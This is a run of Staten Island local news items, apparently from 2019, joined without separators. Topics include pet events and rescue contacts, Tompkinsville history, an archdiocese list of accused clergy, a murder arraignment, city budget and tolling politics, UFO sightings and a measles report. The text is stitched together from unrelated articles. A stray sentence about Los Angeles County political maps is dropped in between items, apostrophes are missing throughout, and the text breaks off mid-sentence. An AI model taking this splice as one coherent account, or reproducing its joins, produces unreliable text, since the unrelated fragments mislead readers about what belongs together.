Vendors will showcase the latest and greatest innovative pet products. They will also be celebrating National Pets Month and Week at the event! Press and pet celebrities will be in attendance as well as retailers from Boston, Connecticut, New Jersey, Pennsylvania, NYC and Long Island to see and shop for products for their pet stores. For more information about the expo, to purchase tickets, or to become a vendor visit: RetailsandSalesPetExpo.com. MAY 5 Walk with your best furry friend during the Gateway Rotary Club Foundations fourth annual dog walk in memory of New Dorp resident SSG. Michael Ollis, who sacrificed his life in Afghanistan. The half-mile or one-mile leashed-dog walk starts at 9:30 a.m. in Wolfes Pond Park, 420 Cornelia Ave. It will benefit Americas VetDogs, a not-for-profit that provides guide and service dogs to disabled veterans at no cost, as well as other Staten Island charities. Fun dog contests will follow the walk. The online early discounted registration is $15 for one dog and $25 for two dogs. Race-day registration starts at 8 a.m. and the fee is $20 for one dog and $30 for two dogs. Theres a limit of two dogs per walker/handler and all dogs should be well-behaved, sociable and non-aggressive. Per city Parks Department, leashes that are no longer than six feet and non-retractable are required. For more info, visit www.eventbrite.com/d/ny--new-york/dog-events/. MAY 19 Would you like to see hometown heroes, police officers, firefighters, active/retired military and other community leaders escort adorable, adoptable, rescue dogs down a 25 ft. runway in the hopes of landing them a forever home? Then join Mr. Bones & Co. at their 7th annual Rescue the Runway event at the famed beer hall, Bergn, 899 Bergen Street, Brooklyn. VIP doors open at 1:30 p.m. with general admission at 2 p.m. This unique, interactive animal welfare event benefits One Lucky Pup rescue rehabilitation and adoption program, as well as Brooklyn Badass Animal Rescue, Rebound Hounds and one more organization- to be announced! Guests will enjoy a premium bar, tasting selections from three resident food vendors, VIP runway show seating, a large upscale silent auction, fun raffles, prize wheel, a Pit Bull kissing booth and more! The event ends at 5 p.m. For additional information or to purchase tickets visit: mrbonesandco.org JUNE 1, and JUNE 2 Mark your calendars for the World Dog Expo. This dog-friendly event will take place from 10 a.m. to 6 p.m. June 1 and 10 a.m. to 5 p.m. June 2 in the Meadowlands Exposition Center, 355 Plaza Drive, Secaucus, N.J. Admission varies; tickets start at $15. This weekend event will celebrate dogs everywhere in a large-scale, cutting-edge multimedia format. With multiple stages attendees will enjoy events such as dock diving, disc dog, lure coursing, weight pulling and schutzhund to name a few. The World Dog Experience will provide opportunities for dogs and their owner to participate together in sports, education, training and other bonding experiences. Also, the show will work to promote dog rescue, fostering and adoption. The main attraction of World Dog Expo will be the notable trade show event, featuring a huge array of dog-centered products. Attendees will be able to find the newest and best products for their canine companions. Participating vendors will benefit from the unprecedented exposure created for the event. For more info, visit worldexpo.dog. JUNE 22 NYC Parks invites you for a pet-friendly day for the Pawz & Clawz, Adoption and Information Fair from 10:00 a.m. to 2:00 p.m. at Midland Beach Splaza, Father Capodanno Blvd. and Seaview Ave. The event includes pet adoption opportunities, local veterinarians, obedience trainers, groomers and more! Interested organizations can register online at ceanbreezenyc.org/2019PawzClawz. For accessibility and event information, please contact Kate Rzucidlo at Kate.Rzucidlo@parks.nyc.gov or (718) 351-7923. Remember: NYC Parks requires all animals be on a 6-foot leash while in the parks. They ask that all participants bringing a pet to please abide by these rules and regulations. HOW TO CONTACT LOCAL RESCUE GROUPS: Animal Care Centers of NYC, 212-788-4000, nycacc.org; located at 3139 Veterans Road West. Adoption hours: Mon-Fri: noon to 8 p.m., Sat. and Sun. 10 a.m. to 6 p.m. Fur Friends in Need, NJ-based group with S.I. members and adoption events on the island; 732-829-1426, imavegge@aol.com; furfriendsinneed.com. Happy Homes Animal Rescue, NJ-based group with S.I. adoption events; 914-393-8292 or elaine@happyhomesinc.org; Tina@happyhomesinc.org; happyhomesinc.org. Louie's Legacy Animal Rescue, 646-397-LLAR (5527), newyork@louieslegacy.org; and louieslegacy.org. Mama Chris Animal Rescue, Inc., 347-983-2240, mamachrisrescue@gmail.com, mamachrisrescue.org. New York Bully Crew, 844-633-NYBC (6922), nybcapp@gmail.com; nybullycrew.org. P.L.U.T.O. Rescue of S.I., 718-227-0553, plutorescue@aol.com; plutorescue.org. S.I. Council for Animal Welfare (SICAW), 718-948-5623, sicaw.petfinder.com S.I. Hope Animal Rescue, info@statenislandhoperescue.org statenislandhopeanimalrescue.org, 800-477-9168 Victory for the Voiceless Animal Rescue, 718-442-1625, AdoptVictory4theVoiceless@gmail.com; victory4thevoicelessanimalrescue.com PET STORES RELOCATED 1. Petco is at Bricktown Commons, 165 Bricktown Way, Suite 1C (across from Michaels and Ulta). It was previously located at 2752 Veterans Road West. 2. PetSmart is at 1525 Forest Ave. It was previously located at 1520 Forest Ave. PET POISON HELPLINES If you think your pet may have ingested a potentially poisonous substance, call the Pet Poison hotline at 855-764-7661 and/or visit petpoisonhelpline.com OR call the ASPCA Animal Poison Control Center (888) 426-4435 and/or visit aspca.org. TO REPORT ANIMAL CRUELTY To report an incident of animal abuse, call Crime Stoppers at 800-577-TIPS or visit www.nypdcrimestoppers.com. ENVIRONMENTAL CONSERVATION To contact an Environmental Conservation Police Officer or report suspected violations, call the DEC Law Enforcement Dispatch Center at 1-844-DEC-ECOs (1-844-332-3267) or use the online reporting system on dec.ny.gov/. STATEN ISLAND, N.Y. -- Can you imagine, ships pulling up to the waterfront and wagons drawn to the watering hole at Tompkinsville Park to fill with fresh spring water. Well, that might have been the site when Tompkinsville was founded by former Vice President, Daniel D. Tompkins in 1815 while he was the Governor of New York State. There was a local natural spring which was a common stop for travelers seeking water refills in Tompkinsville in the early 1600s. Because of this, it was called ' The Watering Place.' A plaque in Tompkinsville Park reads, Near this spot early colonial navigators replenished their ships supply of water from a spring well known to those anchoring inside the narrows before the year 1623. Today, Tompkinsville Park is a small triangular piece of land between Bay Street and Victory Boulevard. Many linger on the benches and await their bus or just hang out. Besides the boulder marking the Watering Place site, two other monuments are standing within this small park. There is a statue called, The Hiker, which was sculpted in 1916 by Allen G. Newman. It honors the soldiers who were in the Spanish-American War, which lasted from 1898-1901. There is also another boulder with a plaque mounted on it. This plaque memorializes Daniel D. Tompkins. Another fact, the very first ferry traveling from Staten Island to Manhattan was started on the Tompkinsville shore in 1708. By 1769, it became known as Darby Doyles Ferry. During the Revolution, the British took command of this ferry and named it Coles Ferry. At this early time, this part of the Staten Island waterfront was filled with comings and goings and lots of civic life. In 1799 a quarantine facility was created here in Tompkinsville by the State. It housed European immigrants with infectious diseases, such as smallpox and typhoid fever. After removing the patients, the facility was burned to the ground in 1858. The ill men were moved offshore to Hoffman and Swinburne Islands. In 1937, the islands were deserted and later used by the United States Merchant Marine. There is a Tompkinsville train stop at Bay Street and Victory Boulevard. Many local buses pass through the neighborhood as well as they start their journey from the ferry to all parts of Staten Island. It is also a quick walk to the Staten Island Ferry from Tompkinsville. Some of the streets in the neighborhood still bear the name of Daniel Tompkins children, such as Hannah, Minthorne and Hyatt Street. Hyatt Street may have been named for his mother, Sarah Ann Hyatt Tompkins, according to ForgottenNY.com. Various businesses have been in this community for over 90 years, one such business is Dembners Hardware. Harry Dembner is the current owner who inherited the hardware store from his grandparents. Walk around this neighborhood to see and appreciate the timeless architecture. Multi-dwelling brick buildings, some beautiful Victorians and more current structures which sit hand in hand. The landscape includes intricate one-way streets that wind around hills and are crowded with buses, cars, and people. Take the secret steps from Victory Boulevard up to Tompkins Circle for amazing views of the harbor and the city skyline. UPDATE: LIST INCLUDES 15 DECEASED PRIESTS WHO SERVED ON STATEN ISLAND STATEN ISLAND, N.Y. -- The Archdiocese of New York on Friday unveiled a list of about 120 bishops, priests and deacons, including clergy who served on Staten Island, who were credibly accused of sex abuse. The list consists of clergy whose cases were brought before the archdioceses Independent Reconciliation and Compensation program, according to information supplied by the archdiocese. The roster includes the names of some of the most prominent clergy who have served on Staten Island in decades Names on the list include Archdiocesan bishops, priests and deacons who have been credibly accused of sexually abusing a minor or possessing child pornography, or who were the subject of a claim made to the Independent Reconciliation and Compensation Program (IRCP) that was deemed eligible for compensation, according to a statement by the archdiocese. Cardinal Timothy Dolan said in a prepared statement that "after hearing from many victim-survivors, many of you, and many priests, I have decided to publish a comprehensive list of all archdiocesan clergy credibly accused of sexual abuse of minors or who were the subject of a claim made to the archdioceses Independent Reconciliation and Compensation Program (IRCP) that was determined to be eligible for compensation. That list is now public at archny.org/list. Along with those clergys names, the list also includes their dates of ordination and current status. Please be assured there is not a single priest or deacon of the Archdiocese of New York against whom there has been a credible and substantiated claim of abuse against a minor currently in ministry. Dolan stressed that inclusion on the list does not state or imply that he is guilty of a crime or liable for any civil claim. Monsignors Gaffney and Ansaldi Monsignor Thomas Gaffney and Monsignor Joseph Ansaldi appear on the list of priests where at least one claim was deemed eligible for compensation by the IRCP. Monsignor Gaffney and Monsignor Ansaldi, and the other priests on that list, did not have the opportunity to respond to the allegations made about them or provide a defense because they died or left the ministry. Ordained in 1950, Monsignor Gaffney died in 2004 while embroiled in a legal battle after a New Jersey man went public in January 2004 with allegations he was abused by Gaffney, then the pastor of St. Charles R.C. Church in Oakwood. Ordained in 1950, Monsignor Gaffney was widely credited for keeping St. Joseph by-the-Sea High School in Huguenot open after he became principal in 1973 during a financial crisis that could have shuttered the school. Monsignor Gaffney was assigned to head St. Charles in 1982, and he focused his attention on the school and boosting its enrollment. Dan ODougherty said in 2004 that he was abused for three years while he was an altar boy and student at the parish school. At the time, many parishioners and clergy on the Island rallied around Monsignor Gaffney. Monsignor Joseph C. Ansaldi, former vicar of Staten Island and principal emeritus of St. Joseph by-the-Sea High School, Huguenot, was 79 years old when he was found unresponsive in November 2015 in his room in the rectory of St. Charles R.C. Church, where he had been a longtime weekend associate. This is the first time Monsignor Ansaldis name as been publicly cited by the church in connection with the abuse scandal. No information was provided by the archdiocese about the circumstances of the accusation against him. Ordained in 1962, Monsignor Ansaldi was principal for 27 years at St. Joseph-by-the-Sea High School where he also served as assistant principal and teacher. He was elevated to monsignor in 1990 by the late Pope John Paul II. The following year he was named as co-vicar for Staten Island by the late Cardinal John J. OConnor, a position he maintained until 1998. He stepped down as vicar to devote more of his time to Sea. After reaching the mandatory priest retirement age of 75, Monsignor Ansaldi served as a chaplain at St. Peters Boys High School, New Brighton, and St. Joseph Hill Academy, Arrochar, and as a chapel assistant at Monsignor Farrell High School, Oakwood. Monsignors Boyle and Coen Monsignor Francis Boyle and Monsignor Charles Coen appear on a portion of the list devoted to priests who have been credibly accused of sexual abuse of a minor. Monsignor Boyle, the former longtime pastor at Blessed Sacrament R.C. Church in West Brighton, served crucial leadership roles on the Island and throughout the archdiocese during more than 60 years in the priesthood. He was an administrator at seminaries and held sway on archdiocesan organizations that determined the job assignments for priests and finances for parishes. He has been removed from ministry. Monsignor Boyle ministered at Blessed Sacrament from 1991 to 2004, but participated in events in later years as pastor emeritus. In 1995, Boyle was one of eight Island priests elevated to the title of monsignor by then Cardinal John J. OConnor during a service in St. Patricks Cathedral in Manhattan. Previously, Boyle was pastor from 1979 to 1991 of Our Lady of Perpetual Help R.C. Parish in Pelham Manor in Westchester County. Ordained in 1955, Boyle has been removed from ministry, according to the list. Monsignor Charles Coen, a native of Dublin, Ireland, was assigned to St. Joseph-St. Thomas R.C. Parish in Pleasant Plains for about 10 years beginning in 1975. Previously, he served at St. Pauls R.C. Church in New Brighton. Coen taught and conducted Irish music for children during his time on the Island, according to Advance records. Ordained in 1968, he was removed from ministry, the allegation was found credible and substantiated by archdiocesan Review Board and the canonical process against him is pending, according to the list. One of the highest-ranking deacons to make the roster of credibly accused clergy is Arthur Mazione. Ordained in 1979, he taught students in Catholic schools on Staten Island for many years before becoming associate secretary for education of the archdiocese. A partial list of other clergy who were credibly accused and at least one borough parish where they served include: STATEN ISLAND, N.Y. -- When challenged by detectives as their investigation progressed, Michael Cammarata, the man accused of slaying his estranged schoolteacher wife, told a convoluted tale in which he alleged to have had sex with the victim, then argued and hit her on the day after authorities say he had killed her, court records said. The disturbing details are contained within a Voluntary Disclosure Form (VDF) which prosecutors on Friday turned over to lawyers for Cammarata, 42, and his pregnant girlfriend, Ayisha Egea, 41, at their arraignments in state Supreme Court on murder and other charges stemming from Jeanine Cammaratas death on March 30. The attorneys pleaded not guilty on their clients behalf. According to the VDF, the defendants killed Jeanine Cammarata, 37, on March 30 around 9:45 p.m. at 133 Beach 56th Place in Far Rockaway, Queens. Michael Cammarata and Egea were living there. The disclosure form lays out prosecutors theory of how the events unfolded. Authorities say Jeanine and Michael Cammarata had a tumultuous relationship which resulted in eight domestic-incident reports between April 2016 and March 2019. Before her death, Jeanine Cammarata had initiated divorce proceedings in which she sought custody of the couples two children and financial support, said the VDF. On March 30, two days before she and her husband were scheduled to appear in court, Jeanine Cammarata went to Queens to try to see her kids, who were living with Michael Cammarata and Egea, prosecutors said. Thats when she was killed, said the VDF. The defendants entered her vehicle and she was attacked, the VDF said. Michael Cammarata and Egea then took the victims body into their apartment and removed it the next day, said the VDF. The defendants transported the corpse to New Jersey and then to Staten Island to a storage unit at 7 Arden Ave., Arden Heights, where it was left on April 1 at 3:30 p.m., said the disclosure form. The victims charred remains were found in a plastic bin in the storage unit on April 4, authorities said. A source with knowledge of the case told the Advance last week the victims car had been recently found in southern New Jersey. The VDF doesnt say where authorities believe the victims body was burned. Jeanine Cammarta, a New Brighton resident, taught first grade at PS 29 in Castleton Corners. When questioned by detectives at a Far Rockway stationhouse on April 2, Michael Cammarata initially said he last saw his estranged wife on March 30 in a supermarket near his apartment, court papers said. Cammarata told detectives the victim came to see her kids, said court documents. However, she was told they were asleep and couldnt see them, he said. Michael Cammarata said he and Jeanine then talked for about 90 minutes on their pending divorce and custody proceedings. The defendant said he drove to Staten Island the next day, March 31, during the early evening for a dance recital. He said he returned to Queens that night and was in bed by 9:30 p.m., said the VDF. Citing information gleaned from license-plate readers at the Verrazzano-Narrows Bridge, investigators challenged Cammaratas account. He said he had been dishonest because he was still having sexual relations with the victim and didnt want Egea to find out, said the VDF. Cammarata now said he met his wife at a Dunkin Donuts shop in Bay Ridge, Brooklyn, on March 31 and followed her to her New Brighton home where they had sex, the VDF said. He changed his story again when detectives said his account still didnt jibe with records from license-plate readers at other locations, said the VDF. In response, the defendant said he had been in the apartment longer than he originally said. He said he and Jeanine had argued over divorce papers she had served him seeking $500 in weekly alimony, said the VDF. Cammarata said he didnt make that kind of money. The defendant said they began shouting at each other and he pushed her and hit her several times in the shoulder/torso area and in her arm, the VDF said. He said Jeanine fell onto a table at one point and said, Thank you for this, according to the VDF. Cammarata said he interpreted that to mean she could use the episode to gain leverage in their divorce proceedings. The defendant told investigators he was enraged over the incident and it made him want to kill her, and afterward he returned home to Queens, said the VDF. The day after the interview at the Queens stationhouse, Cammarata told detectives at the 120th Precinct stationhouse in St. George, Its cheaper to keep her, said the VDF. Detectives also interviewed Egea on April 2, but at the 120th Precinct. She told them Jeanine Cammarata showed up at her home at 10 p.m. on March 30 (she apparently told detectives the 30th was a Friday, although it actually was a Saturday), according to the VDF. Egea said she and Michael Cammarata entered Jeanine Cammaratas car and they drove around the block. As they did so, Michael and Jeanine began arguing about the children, said the VDF. Jeanine became upset, but she and Michael calmed her down, said Egea. Jeanine asked if she could take the kids, but her husband said they were asleep, Egea said. Jeanine then said she was tired and wanted to sit in her car and rest, Egea told investigators. Egea said she and Michael left the car and went home, said the VDF. Jeanine didnt take the kids, and Egea told detectives she never saw or talked to her after that, said the VDF. The 15-count indictment accuses Michael Cammarata and Egea of second-degree murder for intentionally causing the victims death, with her body or a part thereof being found on Staten Island. The defendants are also charged with first-degree manslaughter, concealing a human corpse and two counts of evidence tampering with respect to the victims body and her car. In addition, Michael Cammarata and Egea are accused of two counts of stolen-property possession and five counts of child endangerment. The stolen-property charges allege the defendants snatched the victims debit card and drivers license. The child endangerment charges apparently stem from evidence alleging the couple packed up five children and transported them, along with the victims remains, to the Arden Heights storage facility. Two of the kids were Michael and Jeanine Cammaratas, while the other three were Egeas children, said sources. The defendants were each garbed Friday in tan institutional-type scrubs. Beyond stating their names, they said nothing else during the five-minute proceeding. Justice Mario F. Mattei directed Cammarata to return to court Monday to meet his new lawyer, Mario F. Gallucci. Gallucci is replacing Joshua Stevens. The judge also directed Egea and her lawyer, Mark J. Fonte, to return Monday. Both defendants are being held without bail. Several members of the victims family attended the arraignment. They left court after speaking privately to Assistant District Attorneys Adam Silberlight and Timothy Richard in a court conference room. Family members declined comment outside court. In a statement, District Attorney Michael E. McMahon said, The gruesome and depraved crimes allegedly committed by these defendants have caused unimaginable pain and suffering in the lives of the young children, relatives, and friends of the victim Jeanine. Our thoughts and prayers remain with them all as they continue to mourn this beloved mother and teacher, who was a victim of domestic violence before her life was tragically cut short, said the D.A. I vow that we will work tirelessly to seek justice for Jeanine and hold the defendants fully accountable for their alleged actions, which robbed the world of the bright light Jeanine had shone in the lives of her children and countless others. Reached by phone, Fonte, Egeas lawyer, fired back. Despite the inappropriate remarks by the district attorney, the facts of this case have not changed, said Fonte. My client had nothing whatsoever to do with the murder of Jeanine. My client, who is barely 5-foot tall and six months pregnant, is not capable of hurting anyone. She is not the evil-doer in this case. The district attorney is overreaching and overcharging when it comes to Ms. Egea. In a brief phone interview, Gallucci, Michael Cammaratas new lawyer, said he look(s) forward to working with Mr. Fonte again on this very challenging matter. Once I get up to speed with the (pretrial) discovery, I will have more to comment on, said Gallucci. (Island Government is a periodic roundup of Staten Island political and civic events.) CITY HALL -- Island lawmakers are pressing city and state officials on why upgrades to the to the Islands Family and Supreme Courts have not been made following a recent tour of the courts. Nearly two years ago, District Attorney Michael McMahon, State Sen. Diane Savino (D-North Shore) and Borough President James Oddo say they were briefed on plans to upgrade the Islands Family and Supreme Court at 18 Richmond Terrace to include a multi-story building in the parking lot of Family Court. But do date, they say there have been no updates on the project. The silence from Albany and City Hall on this issue has been deafening," McMahon said. In a joint letter, the Island lawmakers along with freshman Assemblyman Charles Fall (D-North Shore), wrote to Chief Judge Janet DiFiore of the New York State Court of Appeals and Elizabeth Glazer, the director of the mayors Office of Criminal Justice, urging them for answers. The lawmakers pointed out that when the Richmond Family Court opened its doors in 1931, the Islands population was about 160,000 but has since tripled to about 480,000. They urged the agencies to provide the Island with a functioning courthouse. Richmond County Family Court is overburdened, inadequate, and unable to appropriately serve its critical role for the people of Staten Island. Further, as we begin to fully implement the Raise the Age legislation, adding more cases to the approximately 10,000 dockets filed in Family Court annually, the limits on the judges, court officers, staff, and especially the physical building itself will be stretched even further, the lawmakers wrote. REP. ROSE CALLS ON DEPARTMENT OF EDUCATION TO REVERSE BUDGET CUTS Rep. Max Rose has called on the Department of Education to reverse proposed budget cuts that would hurt thousands of special needs families on Staten Island and South Brooklyn. Its easy to do the right thing in the face of intense public backlash, but what my constituents need is someone who will fight for them even when the news cycle has moved on and few people are paying attention, Rose said. Secretary DeVos may be counting on the fact that well fall for her backtracking on the Special Olympics and forget about the rest of these cuts, but I refuse to let that happen. The Trump administration has requested a $8.5 billion -- or roughly a 12 percent cut -- to the DOEs budget, including $17.6 million from the Special Olympics. More than 14,000 students on Staten Island rely on special education programsthe highest percentage in the five boroughs. According to a 2018 report, about a quarter of those students either did not receive all of the special education programs they were entitled to, or received no services at all. MAYOR APPOINTS ISLANDER TO CITYS CIVIC ENGAGEMENT COMMISSION Mayor Bill de Blasio has appointed eight commissioners to the New York City Civic Engagement Commission including Staten Islander Holly Bonner, the founder of Blind Motherhood . The commission will be tasked with creating a citywide participatory budgeting program, provide language interpretation services at the polls and support community boards in helping them be more effective and representative of the communities they represent. Civic engagement allows each of us to build a bridge that will help strengthen the democratic process in New York City, said Bonner. I am honored to serve as a mayoral appointee to this Commission. I look forward to working with the other members, nonprofits and various agencies to help enhance civic participation amongst New Yorkers of all cultures and abilities. Bonner, who is legally blind, founded the online blog Blind Motherhood, which supports and empowers visually impaired parents. Bonner is also a contributor to NBCs TODAY Show as a parenting columnist, Coordinator of the American Foundation for the Blinds Blind Parenting Series, an Adjunct Psychology Professor at Metropolitan College of New York, and the Staten Island Borough Coordinator for VISIONS Services for the Blind & Visually Impaired. LANZA, CUSICK TO HOST BIANNUAL SECURE SHRED EVENT NEXT WEEKEND State Sen. Andrew Lanza (R-Staten Island) and Assemblyman Michael Cusick (D-Staten Island) are holding their biannual secure shred event next weekend. Anyone who wants to get rid of unwanted paper documents is welcomed to attend and are limited to bringing a maximum of four bags. The event will be held at the Staten Island Mall parking lot at the corner of Platinum Avenue on May 5 from 12:30 pm to 3 p.m. The maps opened the door for a rising Los Angeles County Democratic political star amid a generational shift among the region's elected leaders. They also put a dent in the chances for a Republican favorite in one of the nation's most hotly contested races. STATEN ISLAND, N.Y. -- Happy National Alien Day! Yes -- its a real day. A nod to the sci-fi film franchise Alien which began in 1979, April 26 is a reference to the moon in the first Alien film, LV-426, where the movie is partially set, according to DaysOfTheYear.com. While there are many films depicting life beyond planet earth and unidentified flying objects, or UFOs, there are plenty of people who truly believe they exist beyond the silver screen. Your chances of seeing a UFO in New York are 1 in 252,400, according to Casino.org. It reports there have been a total of 7,744 total UFO sightings in the state. According to the site, youre most likely to see a UFO in South Dakota, where the odds are 1 in 11,200, and least likely to see one in Florida where the odds are 1 in 341,800. Your chances of seeing a UFO in New York are 1 in 252,400. STATEN ISLAND UFO SIGHTINGS The National UFO Reporting Center has been logging UFO sightings across the nation since 1930. The center is a privately-run organization with no ties to the U.S. government. It categorizes the sightings by year and month, asks for the date, time, city and state of the sighting; shape, duration of the sighting and asks for a summary of your experience. According to their database, there have been 20 reported sightings on Staten Island since 2015. There havent been any reported sightings so far this year, but according to Casino.org, spring and summer are the most common seasons to spot UFOs, so theres still plenty of time. Some of the objects previously spotted were disk-shaped; others like cigars. Some had orange lights while others had white and green. In one instance, a UFO was seen 100 feet off of the ground in South Beach. You can read all about Staten Island sightings here. U.S. NAVY TAKES THESE SIGHTINGS SERIOUSLY The United States Navy is looking to destigmatize unexplained sightings by its naval personnel by creating an official formal process to collect and analyze the reported sightings, POLITICO reported. There have been a number of reports of unauthorized and/or unidentified aircraft entering various military-controlled ranges and designated air space in recent years. For safety and security concerns, the Navy and the [U.S. Air Force] takes these reports very seriously and investigates each and every report, the Navy stated. It added: As part of this effort, the Navy is updating and formalizing the process by which reports of any such suspected incursions can be made to the cognizant authorities. A new message to the fleet that will detail the steps for reporting is in draft. The U.S. Navy has started a new reporting process for UFO sightings. The Navy hasnt gone as far as admitting it believes there are extraterrestrial life forms flying around in aircrafts. Instead, its accepting that its credible personnel are seeing things that dont have an easy explanation. According to POLITICO, Chris Mellon, a former Pentagon intelligence official and ex-staffer on the Senate Intelligence Committee, said, Right now, we have a situation in which UFOs and UAPs are treated as anomalies to be ignored rather than anomalies to be explored. We have systems that exclude that information and dump it. STATEN ISLAND, N.Y. -- As elected officials continue their search for revenue-generating, congestion-reducing measures to alleviate Staten Islanders hellacious commutes, Rep. Max Rose (D-Staten Island/South Brooklyn) will support federal legislation to reinstate split-tolling on the Verrazzano-Narrows Bridge. Rose will be joined Sunday at Fort Wadsworth by Rep. Jerrold Nadler (D-Manhattan/Brooklyn), Rep. Nydia Velazquez (D-Brooklyn/Lower Manhattan/Queens) and MTA Chairman Patrick Foye to support federal legislation that would split the spans $19, one-way toll into two, $9.50 split-tolls. Language to split the toll will likely be included in a broader transportation package being advocated for by the aforementioned parties, according to a Rose spokesman. Repealing the federal mandate on one-way tolling and splitting the toll to $9.50 in each direction for non-residents would drastically cut down on congestion and improve our daily rush-hour madness, Rose said in a commentary published in the Staten Island Advance earlier this week. Like many other proponents of split-tolling on the Verrazzano-Narrows Bridge, Rose said he believes that a split-toll will deter truck drivers from traveling through Staten Island and into Brooklyn free-of-charge, before using another crossing as an exit point and avoiding the Verrazzano toll entirely. Congestion in our city is also exacerbated by outdated federal mandates like one-way tolling on the Verrazzano-Narrows Bridge. Out-of-state trucks and cars clog up our roads and bridges in an effort to use Staten Island as their toll-free shortcut, said Rose. He claimed that instituting the split-toll, thus cutting down on toll-evading drivers who only use the bridge in the uncharged direction, will lead to a significant boost in revenue and reduction in traffic. Its also estimated that splitting the Verrazzano toll would bring in millions of dollars in additional revenue by cutting down on toll evaders. Sounds like a win-win: Less congestion, more revenue, Rose added. He said that maintaining the Staten Island resident discount during the switch to split-tolling is essential, and that he supports expanding the program to cover Brooklyn residents as well. Maintaining the Staten Island resident discount is essential to ensuring Staten Islanders are able to connect to the rest of the city. And I support expanding that discount to Brooklynites who commute into Staten Island for work or to visit family, Rose said. The Verrazzano-Narrows Bridge is currently the nations only bridge where tolling is controlled by federal mandate, a Transportation, Housing and Urban Development (THUD) Appropriations bill put in place over 30 years ago and co-sponsored by former-Congressman Guy V. Molinari. Rose said the additional revenue generated by the split toll could be used to increase transportation investments in his two districts of Staten Island and South Brooklyn. But Ill be damned if that money isnt used to bring more buses and transit options to Staten Island and South Brooklyn, so that well finally have credible options between public transit and driving, the congressman said. In late March, Rose spoke during an Appropriations Subcommittee hearing, echoing his continued call for split-tolling in order to reduce congestion and generate revenue necessary for transit improvement projects. Two-way tolling will generate millions of dollars in additional revenue for New York States MTA, which has a critical funding deficit. And this creates an opportunity for us to leverage two-way tolling into increased state and local investment, particularly in South Brooklyn and Staten Island -- both of which are in need of additional buses, Rose said at the time. Check back to SILive.com on Sunday for additional details regarding split-tolling on the Verrazzano-Narrows Bridge following the 9 a.m. press conference. CITY HALL -- Mayor Bill de Blasio rolled out his $92.5 billion executive budget for fiscal year 2020 Thursday afternoon, a spending plan up by more than $3 billion from the budget the City Council approved last summer. When he announced the citys preliminary budget earlier this year, the mayor said the agencies would have to figure out how to save $750 million in just two months. In that time, the mayor said Thursday his administration was able to reach $916 million in savings, $629 of which was the result of a program he implemented that expanded a partial hiring freeze and forced agencies to make cuts to their budgets. One of the largest cuts was $104 million to the Department of Education, which included the elimination of extended learning time at Renewal and Rise schools The mayor defended the citys rising budget, arguing the high cost reflected the culture of the city. He also pointed out that if New York City were a state, it would be the third largest state budget in the country after California and New York State. Were New Yorkers, we are people who demand a lot, he said when asked the rising budget under his watch. This is literally the culture of this place and who we are, were a place that is intense and active all the time and people want a lot, they want the best police force on earth, they want the best fire department, they want the best public health department its a 24/7 city, theres so much that we spend that people here demand. In February, the city faced more than $600 million in cuts and unfunded mandates from the state, but the cuts and costs shifts to the city were later limited to just over $300 million. The cuts and unfunded mandates include $125 million in financial assistance to families in need (TANF), $96 million in unfunded election reform mandates, $59 million in health services including services to fight the measles, and a $25 million education funding shortfall. CITY CUTS THRIVES BUDGET, $8.7 BILLION GOES TO BOROUGH-BASED JAIL PROGRAM On the heels of recent criticism of the First Ladys $850 million mental health initiative ThriveNYC, the de Blasio administration said $9 million was cut to the program in fiscal 2019 and that moving forward in the fiscal 2020 budget negotiations the city would further revise the program. However, the administration could not yet say how much would be cut in fiscal 2020. As part of the mayors 10-year $116.9 billion capital strategy, the mayor announced $8.7 billion for his borough based jail program and said the new borough-based jails would be built by 2026 -- a year ahead of schedule. No jail is planned for Staten Island. ISLAND POLITICIANS SLAM MAYORS BUDGET Following the roll out of his executive budget, Island City Council members slammed the mayors spending plan. Earlier this year, the administration expressed real concerns about a slowing economy - but that has not seemed to slow their spending. Once again, the citys expense and capital budgets are at record highs, mostly thanks to soaring property tax revenue, said Minority Leader Steven Matteo (R-Mid Island). As I have said every year since I was elected we need to provide property tax relief for overburdened homeowners. Also, while the mayor has asked for some belt-tightening from city agencies this year, it simply is not enough, nor are the reserves set aside for projected budget deficits in the coming years." Councilwoman Debi Rose (D-North Shore) expressed frustration over the mayor leaving out funding for a new Cromwell Center and summer youth programs. Summer is less than two months away, and yet families and service providers remain without answers or a safe place to go during the summer months. As we continue with budget negotiations, I will continue to serve as a voice for our citys young people, advocating for the restoration of summer SONYC, an expansion of COMPASS elementary programs and an expansion of the Summer Youth Employment Program. I will continue to also fight for two of my districts most pressing needs in the city budget, a new Cromwell Center and property tax relief, Rose said. This mayor is dead set on bringing about a new era of green flight, in which New York homeowners are vigorously trying to escape no city and state crushing tax burden, said Councilman Joe Borelli (R-South Shore). I imagine the mayor has stock in Zillow.com, because he does such a great job forcing his constituents to browse the real estate listings. FOLLOW SYDNEY KASHIWAGI ON TWITTER. STATEN ISLAND, N.Y. -- The number of measles cases in the United States has reached its highest point since the virus was eliminated in this country in 2000. The Centers for Disease Control and Prevention(CDC) said 695 cases of the measles have been reported from Jan. 1 to April 24, according to a media release. The previous high was 667 through the same timespan in 2014, the CDC said. A large outbreak of 383 cases, primarily in unvaccinated Amish communities in Ohio, contributed to the 2014 totals, the CDC said. New York is among the 22 states in which cases of the measles have been reported. This current outbreak is deeply troubling and I call upon all healthcare providers to assure patients about the efficacy and safety of the measles vaccine," said CDC Director Robert Redfield in the release. I encourage all Americans to adhere to CDC vaccine guidelines in order to protect themselves, their families, and their communities from measles and other vaccine preventable diseases,'' Redfield said. We must work together as a nation to eliminate this disease once and for all. A few large incidents are primarily to blame for the high total, with outbreaks in New York City and New York state among the largest and longest-lasting since the measles elimination in 2000, the CDC said in the release. Measles symptoms include rash, high fever, cough, runny nose and red, watery eyes. The disease can result in serious complications, including pneumonia and encephalitis. In pregnant women, measles can lead to miscarriage, premature birth and low-weight babies. Measles is spread through the air when infected patients sneeze and cough, with travelers also potentially contracting the disease from coming in contact with the mucus or saliva of an infected person. Earlier this year, the New York State Department of Health warned people in New York City that an Australian tourist who visited several attractions and venues from Feb. 16 to Feb. 21 was confirmed to have measles, the Advance previously reported. Soon after, the Advance reported that there was a measles exposure at Newark Airport, according to the New Jersey Department of Health. Then, in April, members of a heavily Orthodox Jewish neighborhood were required to be vaccinated for measles. The CDC said the recent outbreaks began due to unvaccinated travelers visiting the country, but has been exacerbated by declining vaccination rates in the United States. The World Health Organization reported this month in a media release that there has been a 300 percent increase in the number of measles cases worldwide, compared with the first three months of 2018, which was primarily caused by misinformation in the communities about the safety of the measles vaccine. The CDC is encouraging parents to speak to their healthcare provider about the importance of vaccination, and also is encouraging local leaders to provide accurate, science-based information to counter 